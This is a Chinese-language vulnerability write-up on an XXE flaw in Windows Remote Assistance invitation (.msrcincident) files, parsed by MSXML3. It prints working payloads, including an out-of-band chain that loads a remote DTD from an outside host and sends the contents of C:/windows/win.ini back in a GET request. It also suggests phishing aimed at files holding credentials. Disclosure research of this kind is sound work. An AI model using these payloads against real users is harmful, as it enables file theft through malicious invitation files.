导语:作者介绍了Windows远程协助XXE漏洞存在的原因、发现的过程,最后还提供了自动化利用工具。
一、介绍
Windows远程协助允许您信任的人接管您的电脑并解决世界各地的问题。它依靠远程桌面协议与需要的人建立安全连接。——MSDN
二、背景
我在研究过程中偶然发现了这个功能,并且很好奇能否以任何方式利用此功能。所以让我们从开始MSRA(微软远程协助)开始。
它给出两个选项:
·邀请别人帮助你
·响应别人的邀请
如果选择了第一个选项,则将得到后续的另一组2个选项:
·将邀请保存到.msrcincident文件
·通过电子邮件发送邀请,.mrcincident文件作为附件
我们选择在本地保存文件并分析其内容,显然我们选择了第一个选项。
打开Invitation.msrcincident文件可以显示具有大量参数和值的XML数据。
口令加密流程如下所示。
然而,当看到XML数据被提供给程序时,都必须考虑XML外部实体(XXE)漏洞,过去这些漏洞导致了信息泄露甚至RCE。
所以首先我很好奇用于处理邀请文件的解析器MSRA。ProcessMonitor显示如下:
它使用MSXML3来解析XML数据,因此我立即开始寻找潜在的与MSXML3相关的现有漏洞。MSXML3拥有许多漏洞,但是没有发布任何关于这些漏洞的细节。那么来看看MSXML3解析器是否允许使用SYSTEM实体。
三、漏洞
第一个问题是如果没有显示所请求资源的输出,如何确认存在XXE漏洞。基本的XXE payload看起来像这样:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
然而,这个XML(解析后)的结果应该是<foo>标签中的内容,应该显示文件passwd的内容。
MSRA不会显示处理过的XML的输出,因此很难验证。但为了能将这种攻击武器化,需要将受害者请求的数据传到我的机器上。因此,需要使用由研究人员Alexey Osipov和Timur Yunusov发现的称为带外数据检索的技术,该技术允许构建带有来自其他实体的数据的URL。
看起来像这样:
利用相同的技术,用以下XML修改了Invitation.msrcincident文件:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE zsl [ <!ENTITY % remote SYSTEM "http://krbtgt.pw:8080/xxe.xml"> %remote;%root;%oob;]>
在服务器上,使用以下XML创建一个文件xxe.xml:
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini"> <!ENTITY % root "<!ENTITY % oob SYSTEM 'http://krbtgt.pw:8080/?%payload;'> ">
使用我们的XML XXE payload,打开修改后的Invitation.msrcincident文件,结果如下:
结果是C:\Windows\win.ini的内容作为GET请求的一部分发送到服务器。如果URL解码发送至服务器的GET值,得到如下结果:
for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1CMCDLLNAME32=mapi32.dllCMC=1MAPIX=1MAPIXVER=1.0.0.1OLEMessaging=1
我使用MSXML3解析器确认了影响MSRA的XXE漏洞。
四、结论
这种XXE漏洞可以用于大规模网络钓鱼攻击,针对的人认为他们确实在帮助另一个有IT问题的人,完全不知道.msrcincident文件可能会导致敏感信息丢失。攻击者可针对包含用户名/密码的特定日志/配置文件。GDSSecurity还通过暴力穷尽某些目录,实现了自动化XXE工具。该工具可以在这里找到。